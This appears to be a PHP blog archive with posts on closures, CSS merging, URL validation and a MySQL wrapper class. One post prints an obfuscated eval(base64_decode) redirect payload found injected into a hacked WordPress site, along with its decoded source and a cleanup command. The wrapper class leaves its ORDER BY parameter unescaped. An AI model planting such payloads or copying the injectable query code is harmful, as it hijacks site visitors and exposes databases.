Tag Archives: php5

Anonymous functions now available from PHP 5.3

Written by Garry Lachman (Admin). Filed under News, PHP + mySQL. Tagged , , , , , , , , , , , . .

Anonymous functions, also known as closures, allow the creation of functions which have no specified name. They are most useful as the value of callback parameters, but they have many other uses.

Example:

1
2
3
4
$myName = function($name)
{
    echo "My name is $name";
};

Or you can use it as callback like javascript

1
2
3
4
5
6
7
8
9
10
11
12
$arr = array(
    "first_name" => "Garry",
    "last_name" => "Lachman",
    "age" => "27"
);

$callback_function = function ($field, $field_value)
{
    echo "$field = $field_value";
};
       
array_walk($arr, $callback_function);

Using variables out function scope

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$prefix = "*)";

$arr = array(
    "first_name" => "Garry",
    "last_name" => "Lachman",
    "age" => "27"
);

$callback_function = function ($field, $field_value) use ($prefix)
{
    echo "$prefix $field = $field_value";
};
       
array_walk($arr, $callback_function);

Have fun boys & girls :)

Share

Virus i found in WordPress and my fast fix solution

Written by Garry Lachman (Admin). Filed under Developer Tools. Tagged , , , , , . .

After my firend WordPress has been hacked – all work ok but he got
Virus warning from Google.
I search footprint in the code and i found this line repeat in all theme files:

1
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vZnJvbGluZy5iZWUucGwvIik7DQpleGl0KCk7DQp9DQp9DQp9DQp9"));

Its base64 encoded php code that executes with eval function, after decoding that i got

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER['HTTP_REFERER'];
$uag=$_SERVER['HTTP_USER_AGENT'];
if ($uag) {
if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
header("Location: http://froling.bee.pl/");
exit();}}}}

The Solution for cleanup the code – LINUX ONLY !!!
Download all php files to local machine and run this command, if you base63 code is different
than change it

1
rpl -x'.php' -Rf "eval(base64_decode(\"DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vZnJvbGluZy5iZWUucGwvIik7DQpleGl0KCk7DQp9DQp9DQp9DQp9\"));" "" *

Have Fun

Share

Merge CSS files into one file with PHP

Written by Garry Lachman (Admin). Filed under PHP + mySQL. Tagged , , . .

Hey,
Most of the big websites have many css files and the browser need to load them one by one.
There is a easy solution to merge them to one file using php.

css_loader.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
// First of all send css header
header("Content-type: text/css");

// Array of css files
$css = array(
    'main.css',
    'menu.css',
    'content.css'
);

// Loop the css Array
foreach ($css as $css_file) {

    // Load the content of the css file
    $css_content = file_get_contents($css_file);

    // print the css content
    echo $css_content;
}
?>

Not include the CSS Loader file

1
<link href="css_loader.php" rel="stylesheet" type="text/css" />

Now all the CSS files are merged into one file.

Have Fun,
Garry

Share

Develop PHP Facebook Application Locally – Dev Mode

Written by Garry Lachman (Admin). Filed under PHP + mySQL. Tagged , , . .

Hi,
As you know Facebook doesn’t have develop mode to that allow you to work locally.
But there is way to do it – and its very easy to deployment.

First create 2 applications on Facebook, one for “dev” and one for “production”.
In dev application set you application url to the locally localhost if “127.0.0.1″ like:

http://127.0.0.1/your_app.

The second step is to create two “environments” in your application – “dev mode” and “production mode”.
Create a settings class that check if you work locally and return the Facebook API Key.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class ApplicationSettings   {
    private static $facebook_api = array(
        "dev"=>array(
            "key"=>"123",
            "secret"=>"123"    
        ),
        "prod"=>array(
            "key"=>"123",
            "secret"=>"123"    
        )
    );

    public static function get_facebook()   {
        if ($_SERVER['HTTP_HOST'] == "127.0.0.1")   {
            return self::$facebook_api["dev"];
        }
        return self::$facebook_api["prod"];
    }
}
?>

Set your Facebook API Key and Secret to the “dev” and “prod” modes.
Now we will change the way we connection to facebook api to get the
settings from our new class.

1
2
3
4
5
6
7
8
<?php
$facebook_settings = ApplicationSettings::get_facebook();

$facebook = new Facebook(array(
    'appId' => $facebook_settings["key"],
    'secret' => $facebook_settings["secret"],
));
?>

Now every time we connect to Facebook API the settings class will
check our domain and if we work on “127.0.0.1″ its automatically
gets the “dev mode” API that pointed to our local application.

Have Fun ;)
Garry Lachman

Share

PHP+REGEX – URL validation & split to elements

Written by Garry Lachman (Admin). Filed under PHP + mySQL. Tagged , , , , . .

Hi,
After searching the web i found a very good script to split the url to elements and validate it.
The result is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
array(14) {
  ["scheme"]=>
  string(4) "http"
  ["authority"]=>
  string(17) "garry-lachman.com"
  ["userinfo"]=>
  string(0) ""
  ["host"]=>
  string(17) "garry-lachman.com"
  ["IP_literal"]=>
  string(0) ""
  ["IPV6address"]=>
  string(0) ""
  ["ls32"]=>
  string(0) ""
  ["IPvFuture"]=>
  string(0) ""
  ["IPv4address"]=>
  string(0) ""
  ["regname"]=>
  string(17) "garry-lachman.com"
  ["port"]=>
  string(0) ""
  ["path_abempty"]=>
  string(12) "/2011/10/17/"
  ["query"]=>
  string(22) "test_querystring=value"
  ["url"]=>
  string(59) "http://garry-lachman.com/2011/10/17/?test_querystring=value"
}

The script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
// function url_valid($url) { Rev:20110423_2000
//
// Return associative array of valid URI components, or FALSE if $url is not
// RFC-3986 compliant. If the passed URL begins with: "www." or "ftp.", then
// "http://" or "ftp://" is prepended and the corrected full-url is stored in
// the return array with a key name "url". This value should be used by the caller.
//
// Return value: FALSE if $url is not valid, otherwise array of URI components:
// e.g.
// Given: "http://www.jmrware.com:80/articles?height=10&width=75#fragone"
// Array(
//    [scheme] => http
//    [authority] => www.jmrware.com:80
//    [userinfo] =>
//    [host] => www.jmrware.com
//    [IP_literal] =>
//    [IPV6address] =>
//    [ls32] =>
//    [IPvFuture] =>
//    [IPv4address] =>
//    [regname] => www.jmrware.com
//    [port] => 80
//    [path_abempty] => /articles
//    [query] => height=10&width=75
//    [fragment] => fragone
//    [url] => http://www.jmrware.com:80/articles?height=10&width=75#fragone
// )
function url_valid($url) {
    if (strpos($url, 'www.') === 0) $url = 'http://'. $url;
    if (strpos($url, 'ftp.') === 0) $url = 'ftp://'. $url;
    if (!preg_match('/# Valid absolute URI having a non-empty, valid DNS host.
        ^
        (?P<scheme>[A-Za-z][A-Za-z0-9+\-.]*):\/\/
        (?P<authority>
          (?:(?P<userinfo>(?:[A-Za-z0-9\-._~!$&\'()*+,;=:]|%[0-9A-Fa-f]{2})*)@)?
          (?P<host>
            (?P<IP_literal>
              \[
              (?:
                (?P<IPV6address>
                  (?:                                                (?:[0-9A-Fa-f]{1,4}:){6}
                  |                                                ::(?:[0-9A-Fa-f]{1,4}:){5}
                  | (?:                          [0-9A-Fa-f]{1,4})?::(?:[0-9A-Fa-f]{1,4}:){4}
                  | (?:(?:[0-9A-Fa-f]{1,4}:){0,1}[0-9A-Fa-f]{1,4})?::(?:[0-9A-Fa-f]{1,4}:){3}
                  | (?:(?:[0-9A-Fa-f]{1,4}:){0,2}[0-9A-Fa-f]{1,4})?::(?:[0-9A-Fa-f]{1,4}:){2}
                  | (?:(?:[0-9A-Fa-f]{1,4}:){0,3}[0-9A-Fa-f]{1,4})?::   [0-9A-Fa-f]{1,4}:
                  | (?:(?:[0-9A-Fa-f]{1,4}:){0,4}[0-9A-Fa-f]{1,4})?::
                  )
                  (?P<ls32>[0-9A-Fa-f]{1,4}:[0-9A-Fa-f]{1,4}
                  | (?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}
                       (?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)
                  )
                |   (?:(?:[0-9A-Fa-f]{1,4}:){0,5}[0-9A-Fa-f]{1,4})?::   [0-9A-Fa-f]{1,4}
                |   (?:(?:[0-9A-Fa-f]{1,4}:){0,6}[0-9A-Fa-f]{1,4})?::
                )
              | (?P<IPvFuture>[Vv][0-9A-Fa-f]+\.[A-Za-z0-9\-._~!$&\'()*+,;=:]+)
              )
              \]
            )
          | (?P<IPv4address>(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}
                               (?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))
          | (?P<regname>(?:[A-Za-z0-9\-._~!$&\'()*+,;=]|%[0-9A-Fa-f]{2})+)
          )
          (?::(?P<port>[0-9]*))?
        )
        (?P<path_abempty>(?:\/(?:[A-Za-z0-9\-._~!$&\'()*+,;=:@]|%[0-9A-Fa-f]{2})*)*)
        (?:\?(?P<query>       (?:[A-Za-z0-9\-._~!$&\'()*+,;=:@\\/?]|%[0-9A-Fa-f]{2})*))?
        (?:\#(?P<fragment>    (?:[A-Za-z0-9\-._~!$&\'()*+,;=:@\\/?]|%[0-9A-Fa-f]{2})*))?
        $
        /mx'
, $url, $m)) return FALSE;
    switch ($m['scheme']) {
    case 'https':
    case 'http':
        if ($m['userinfo']) return FALSE; // HTTP scheme does not allow userinfo.
        break;
    case 'ftps':
    case 'ftp':
        break;
    default:
        return FALSE;   // Unrecognized URI scheme. Default to FALSE.
    }
    // Validate host name conforms to DNS "dot-separated-parts".
    if ($m['regname']) { // If host regname specified, check for DNS conformance.
        if (!preg_match('/# HTTP DNS host name.
            ^                      # Anchor to beginning of string.
            (?!.{256})             # Overall host length is less than 256 chars.
            (?:                    # Group dot separated host part alternatives.
              [A-Za-z0-9]\.        # Either a single alphanum followed by dot
            |                      # or... part has more than one char (63 chars max).
              [A-Za-z0-9]          # Part first char is alphanum (no dash).
              [A-Za-z0-9\-]{0,61}  # Internal chars are alphanum plus dash.
              [A-Za-z0-9]          # Part last char is alphanum (no dash).
              \.                   # Each part followed by literal dot.
            )*                     # Zero or more parts before top level domain.
            (?:                    # Explicitly specify top level domains.
              com|edu|gov|int|mil|net|org|biz|
              info|name|pro|aero|coop|museum|
              asia|cat|jobs|mobi|tel|travel|
              [A-Za-z]{2})         # Country codes are exactly two alpha chars.
              \.?                  # Top level domain can end in a dot.
            $                      # Anchor to end of string.
            /ix'
, $m['host'])) return FALSE;
    }
    $m['url'] = $url;
    for ($i = 0; isset($m[$i]); ++$i) unset($m[$i]);
    return $m; // return TRUE == array of useful named $matches plus the valid $url.
}

Have a nice day,
Garry Lachman

Share

6 PHP Template Engines

Written by Garry Lachman (Admin). Filed under PHP + mySQL. Tagged , , , , , , , , , . .

I think i don`t need to explain what is “Template Engine”, if this is the first time you hear about it
look at this link (Wikipedia)

Here is a list of some PHP Template Engines:

Smarty

Smarty is a template engine for PHP, facilitating the separation of presentation (HTML/CSS) from application logic. This implies that PHP code is application logic, and is separated from the presentation.
Smarty



Simple Template Parser (STP)

This parser has been developed 5 years ago with the aim to produce a tool that allows to separate code from HTML. It started out as a simple php function. Meanwhile it has been rewritten by Stefan Reich and turned into a class file.
In larger projects there are usually designers and developers involved.
STP



PHP XTemplate

XTemplate allows you to store your HTML code separately from your PHP code (as opposed to compiling your template into PHP as per Smarty etc.). It has many useful features such as nested blocks and various kinds of variable interpolation, and yet the code is very short and very optimized.



Layout Solution

Layout Solution is a set of open source PHP classes to simplify website development and maintenance. It holds commonly used variables and page elements, allowing you to focus on designing your pages rather than worrying about correctly duplicating common layouts over and over.



Dwoo

Dwoo is a PHP5 template engine which is (almost) fully compatible with Smarty templates and plugins, but is written from scratch for PHP5, and adds many features.



Open Power Template

Open Power Template is a template engine for PHP5. Its task is to produce a full HTML code from the script data and ”code templates” that show, how and where put them. OPT has many features not only for programmers, but also for template writers that make this process nice and easy.

Share

Garry`s One Time URL PHP5 Script

Written by Garry Lachman (Admin). Filed under PHP + mySQL. Tagged , , , , , , , , , , , , , , , . .


I open Requirements Specification for Advance One Time URL script.
You can see and help with ideas.

Hi,

I wrote little script + lib for one time url.
this script make MD5 hash string for one time using and redirect file.
the links looks like: http://garry-lachman.com/link/ce75f50f55bcedf0a72098a01764548b and can be used one time only.

The url storing is based on PHP Sessions and link redirection on MOD_REWRITE but there is example
for non MOD_REWRITE using
Example of create of the link:

1
2
3
4
5
<?php
require_once("libs/one_time_url.lib.php");
$one_time_url = new one_time_url();
?>
<a href="<?php echo $one_time_url->make_url("http://www.garry-lachman.com"); ?>">This is one time URL to http://www.garry-lachman.com</a>

The code & example can be downloaded form here.
License: GNU/GPL (open source)

Share

CodeIgniter – PHP 5 MVC Framework

Written by Garry Lachman (Admin). Filed under PHP + mySQL. Tagged , , , , , , , , , , . .

I really never used frameworks, i always build my system without any frameworks.
but no more… after few days with CodeIgniter i`m in Love…

CodeIgniter is a powerful PHP framework with a very small footprint, built for PHP coders who need a simple and elegant toolkit to create full-featured web applications. If you’re a developer who lives in the real world of shared hosting accounts and clients with deadlines, and if you’re tired of ponderously large and thoroughly undocumented frameworks”

CodeIgniter

Have a nice day ;)

Garry Lachman

Share

PHP Tips – Manage correctly file inclusion

Written by Garry Lachman (Admin). Filed under PHP + mySQL. Tagged , , , , , , . .

“In this article we’ll treat a quite simple argument but if badly managed can lead to big problems, the topic is the inclusion of files.
According to my experience I established three golden rules that should be enough; if you come up with other ones, I’ll be glad to talk about it….”

Read full article here

Share

mySQL Layer that i wrote years ago

Written by Garry Lachman (Admin). Filed under PHP + mySQL. Tagged , , , , , , , , . .

Hi,
Before years ago i wrote a secured mySQL Layer.
I`m now actually using it now, but its works great years…

First of all the Settings Singleton Class:
Settings.Class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
/////////////////////////////////////////////////////////////////
/////////////////// Garry`s MySQL Class /////////////////////////
/////////////////////////////////////////////////////////////////
//////////////////      14/12/07        /////////////////////////
// THIS CLASS WRITTEN BY GARRY LACHMAN -> DRGARRY@GMAIL.COM    //
/////////////////////////////////////////////////////////////////

class Settings {
 
    var $mysql;
    var $security;
     
    function Settings ($directCall=true)
    {
        if ($directCall) {
            trigger_error("This Class is singleton!", E_USER_ERROR);
        }
    }
 
    function &getInstance()
    {
        static $instance;
        if (!is_object($instance)) {
            $instance = new Settings(false);
            $instance->fillValues();
        }
        return $instance;
    }
 
 
    // GETTERS
    function getMySQLSettings($node) {  return $this->mysql[$node]; }
    function getSecuritySettings($node) {   return $this->security[$node];  }
   
    // PRIVATE FUNCTIONS
    function fillValues() {
        // MYSQL
        $this->mysql['hostname'] = 'localhost';
        $this->mysql['username'] = 'root';
        $this->mysql['password'] = 'password';
        $this->mysql['database'] = 'db';
        $this->mysql['prefix'] = 'prefix_';
       
        // SECURITY - we don`t use this in mySQL Layer class
        $this->security['hash'] = 'sdfijh2p348y7yxd487*&%^ygog(&^9togI%R$(50))';
    }
 
}
?>

The mySQL Layer Class:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
<?php
/////////////////////////////////////////////////////////////////
/////////////////// Garry`s MySQL Class /////////////////////////
/////////////////////////////////////////////////////////////////
//////////////////      14/12/07        /////////////////////////
// THIS CLASS WRITTEN BY GARRY LACHMAN -> DRGARRY@GMAIL.COM    //
/////////////////////////////////////////////////////////////////

require_once('./Settings.class.php');
class MySQL {
    // MySQL VARS
    var $mysql_link;
    var $mysql_host;
    var $mysql_username;
    var $mysql_password;
    var $mysql_database;   
    var $mysql_link_status = false;
    var $mysql_prefix;
   
    // VARS FOR LAST OPERATIONS
    var $query_result = Array();
    var $records_number;
   
    // CLASS VARS
    var $script_log;
    var $Settings;
    var $inited = false;
       
    function MySQL() {
        // LOADING SINGLETON INSTANCE OF SETTINGS
        $this->Settings =& Settings::getInstance();
       
        // LOADING SETTINGS FROM SETTINGS CLASS
        $this->mysql_host = $this->Settings->getMySQLSettings('hostname');
        $this->mysql_username = $this->Settings->getMySQLSettings('username');
        $this->mysql_password = $this->Settings->getMySQLSettings('password');
        $this->mysql_database = $this->Settings->getMySQLSettings('database');
        $this->mysql_prefix = $this->Settings->getMySQLSettings('prefix');
       
           
        $this->script_log .= "Constractor set settings\n";
        $this->inited = true;
        $this->script_log .= "Inited set to: " . $this->inited . "\n";
    }
   
    // PUBLIC FUNCTIONS
   
    function CustomQuerty($query)
    {
        $this->CheckConnection();
       
        $this->script_log .= "Query: " . $query . "\n";
       
        $result = mysql_query($query) or die($this->mysql_error_report());
       
        $this->script_log .= "Query executed\n";
       
        return $result;
    }
   
    function InsertQuerymassive($table, $insert_fields, $insert_values) {
        $this->CheckConnection();
       
        // BUILD SECURED QUERY - FOR SQL INJECTIONS PROTECTION
        $query = sprintf("INSERT INTO `%s` (", mysql_escape_string($table));
       
        $i=0;
       
        foreach($insert_fields as $arr) {
            if ($i > 0) {
                $query .= sprintf(", `%s`", mysql_escape_string($insert_fields[$i]));
            } else {
                $query .= sprintf("`%s`", mysql_escape_string($insert_fields[$i]));
            }
            $i++;
        }
       
       
       
        $i=0;
        foreach($insert_values as $arr) {
            $j=0;
            if ($i == 0)
            {
                $query .= ") VALUES (";
            }
            else
            {
                $query .= ", (";           
            }
            foreach($arr as $arr2)
            {
                if ($j > 0) {
                    $query .= sprintf(", '%s'", mysql_escape_string($arr2));
                } else {
                    $query .= sprintf("'%s'", mysql_escape_string($arr2));
                }
                $i++;
                $j++;
            }
            $query .= ")";
        }
   
        $this->script_log .= "Query: " . $query . "\n";
       
        $result = mysql_query($query) or die($this->mysql_error_report());
       
        $this->script_log .= "Query executed\n";
       
        return mysql_insert_id();
       
    }
   
   
    function InsertQuery($table, $insert_fields, $insert_values) {
        $this->CheckConnection();
        mysql_query("set character set 'utf8'");
        // BUILD SECURED QUERY - FOR SQL INJECTIONS PROTECTION
        $query = sprintf("INSERT INTO `%s` (", mysql_escape_string($table));
       
        $i=0;
       
        foreach($insert_fields as $arr) {
            if ($i > 0) {
                $query .= sprintf(", `%s`", mysql_escape_string($insert_fields[$i]));
            } else {
                $query .= sprintf("`%s`", mysql_escape_string($insert_fields[$i]));
            }
            $i++;
        }
        $query .= ") VALUES (";
       
       
        $i=0;
        foreach($insert_values as $arr) {
            if ($i > 0) {
                $query .= sprintf(", '%s'", mysql_escape_string($insert_values[$i]));
            } else {
                $query .= sprintf("'%s'", mysql_escape_string($insert_values[$i]));
            }
            $i++;
        }
        $query .= ")";
   
   
        $this->script_log .= "Query: " . $query . "\n";
       
        $result = mysql_query($query) or die($this->mysql_error_report());
       
        $this->script_log .= "Query executed\n";
       
        return mysql_insert_id();
       
    }
   
    function DeleteQuery($table, $where_field, $where_value, $opr=NULL)
    {
        $this->CheckConnection();
       
        $query = sprintf("DELETE FROM %s", mysql_escape_string($table));
               
        if (isset($where_field) && isset($where_value)) {
            $query .= " WHERE ";
            $i=0;
            foreach($where_field as $arr) {
                if ($i>0) {
                    $query .= sprintf(" %s `%s`='%s'",mysql_escape_string($opr[$i-1]),
                                                mysql_escape_string($where_field[$i]),
                                                mysql_escape_string($where_value[$i]));
                } else {
                    $query .= sprintf("`%s`='%s'", mysql_escape_string($where_field[$i]),
                                                mysql_escape_string($where_value[$i]));
                }
                $i++;
            }
        }
       
        $this->script_log .= "Query: " . $query . "\n";
       
       
        $result = mysql_query($query) or die($this->mysql_error_report());
        $this->script_log .= "Query executed\n";
    }
       
    function UpdateQuery($table, $update_fields, $update_values,
                            $where_field=NULL, $where_value=NULL, $opr=NULL) {
        $this->CheckConnection();
       
        // BUILD SECURED QUERY - FOR SQL INJECTIONS PROTECTION
        $query = sprintf("UPDATE `%s` SET ", mysql_escape_string($table));
       
        $i=0;
        foreach($update_fields as $arr) {
            /*if ($i > 0) {
                $query .= sprintf(", %s `%s`='%s'", mysql_escape_string($opr[$i-1]),
                                                    mysql_escape_string($update_fields[$i]),
                                                    mysql_escape_string($update_values[$i]));              
            } */

            if ($i > 0) {
                $query .= sprintf(", `%s`='%s'",    mysql_escape_string($update_fields[$i]),
                                                    mysql_escape_string($update_values[$i]));              
            } else {
                $query .= sprintf("`%s`='%s'", mysql_escape_string($update_fields[$i]),
                                                mysql_escape_string($update_values[$i]));
            }
            $i++;
        }
       
        if (isset($where_field) && isset($where_value)) {
            $query .= " WHERE ";
            $i=0;
            foreach($where_field as $arr) {
                if ($i>0) {
                    $query .= sprintf(" %s `%s`='%s'",mysql_escape_string($opr[$i-1]),
                                                mysql_escape_string($where_field[$i]),
                                                mysql_escape_string($where_value[$i]));
                } else {
                    $query .= sprintf("`%s`='%s'", mysql_escape_string($where_field[$i]),
                                                mysql_escape_string($where_value[$i]));
                }
                $i++;
            }
        }
       
        $this->script_log .= "Query: " . $query . "\n";
               
        $result = mysql_query($query) or die($this->mysql_error_report());
        $this->script_log .= "Query executed\n";
    }
   
    function testCall()
    {
        $this->query_result = Array();
        $this->CheckConnection();
        mysql_select_db('listy');
        mysql_query('CALL `listy_lastClubs`()')  or die($this->mysql_error_report());
    }
   
    function CallQuery($name){
        $this->query_result = Array();
        $this->CheckConnection();
       
        //mysql_query('USE listy');
        $query = sprintf("CALL `%s`()",mysql_escape_string($name));
        //$query = "CALL `listy_lastClubs`()";
       
        $result = mysql_query($query) or die($this->mysql_error_report());
        // or die("Cannot Query")
        $this->script_log .= "Query executed\n";
       
        //$this->query_result = mysql_fetch_array($result) or die("Cannot Featch Array.");

       
        $i=0;
        while($row = mysql_fetch_assoc($result)) {
            $this->query_result[$i] = $row;
            $i++;
        }
       
        $this->script_log .= "Array fetched \n";
       
        if ($i > 0) {
            $this->records_number = mysql_num_rows($result) or die($this->mysql_error_report());
            $this->script_log .= "Records Number setted to:" .$this->records_number . "\n";
        } else {
            $this->records_number = 0 ;
            $this->script_log .= "Records Number setted to:" .$this->records_number . "\n";
        }
       
        mysql_free_result($result);
       
        return $this->query_result;
    }
   
    function SelectQuery($table, $where_field=NULL, $where_value=NULL,
                            $opr=NULL, $DESC=true, $ORDER_BY="id") {
        $this->query_result = Array();
        // Example for useing class:
        // SelectQuery('links',Array('id','name'),Array(1,'garry'),Array('OR'));
        // Return: Array
        //
        // TODO IN THIS FUNCTION:
        // * ADD LIMIT AND START
        $this->CheckConnection();

       
        // BUILD SECURED QUERY - FOR SQL INJECTIONS PROTECTION
        $query = sprintf("SELECT * FROM `%s`",mysql_escape_string($table));
        if (isset($where_field[0])) {
            $query .= " WHERE ";
            $i=0;
            foreach($where_field as $arr) {
                if ($i>0) {
                    $query .= sprintf(" %s `%s`='%s'",mysql_escape_string($opr[$i-1]),
                                                mysql_escape_string($where_field[$i]),
                                                mysql_escape_string($where_value[$i]));
                } else {
                    $query .= sprintf("`%s`='%s'", mysql_escape_string($where_field[$i]),
                                                mysql_escape_string($where_value[$i]));
                }
                $i++;
            }
        }
           
        if ($DESC == 'true') {
            //$addon = " ORDER BY `id` DESC";
            $addon = sprintf(" ORDER BY `%s` DESC", $ORDER_BY);
        } else {
            //$addon = " ORDER BY `id`";
            $addon = sprintf(" ORDER BY `%s`", $ORDER_BY);
        }
        $query .= $addon;
        $this->script_log .= "Query: " . $query . "\n";
   
        $result = mysql_query($query) or die($this->mysql_error_report());
        // or die("Cannot Query")
        $this->script_log .= "Query executed\n";
       
        //$this->query_result = mysql_fetch_array($result) or die("Cannot Featch Array.");
       
        $i=0;
        while($row = mysql_fetch_assoc($result)) {
            $this->query_result[$i] = $row;
            $i++;
        }
       
       
